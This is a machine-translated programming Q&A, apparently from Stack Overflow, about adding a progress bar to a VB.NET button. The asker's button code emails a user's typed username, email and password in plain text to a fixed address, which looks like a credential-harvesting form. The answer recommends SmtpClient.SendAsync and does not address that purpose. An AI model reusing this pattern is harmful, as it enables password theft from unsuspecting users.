Visual Basic按钮和进度条建议

时间:2013-12-12 22:58:57

标签: vb.net

我正在Visual Basic中创建一个程序,我需要一个按钮来激活进度条,当进度条完成时会显示一条消息。

有一个问题,我的按钮中已有代码,因此当点击按钮时,进度条会在停止后稍微停止。

进度条完成后我也遇到问题我有一个消息显示,当它显示消息被垃圾邮件时,直到程序崩溃。

如果我可以获得如何做到这两件事的帮助那就太棒了!

这是按钮代码

If TextBox1.Text = "" Then
    MsgBox("Username Is Missing")
    Exit Sub
Else
End If
If TextBox2.Text = "" Then
    MsgBox("Email Is Mising")
    Exit Sub
Else
End If
If TextBox3.Text = "" Then
    MsgBox("Password Is Mising")
    Exit Sub
Else
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("email", "email pw)
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("email")
mail.To.Add("email")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Passoword: " & TextBox3.Text
smtpServer.Send(mail)

我没有进度条形码,因为我要重新启动它。

1 个答案:

答案 0 :(得分:0)

基本上你需要的是在点击按钮时显示进度条,并在发送电子邮件时隐藏它。

所以最简单的方法是使用SmtpClient SendAsync方法,而不是Send(阻止GUI /在电子邮件发送完成之前没有任何响应)。 SendAsync具有回调方法SendCompleted,您可以附加该方法以隐藏进度条并显示消息框。

有关SendAsync http://msdn.microsoft.com/en-us/library/system.net.mail.smtpclient.sendcompleted(v=vs.110).aspx?cs-save-lang=1&cs-lang=vb#code-snippet-2

的信息,请参阅此MSDN文档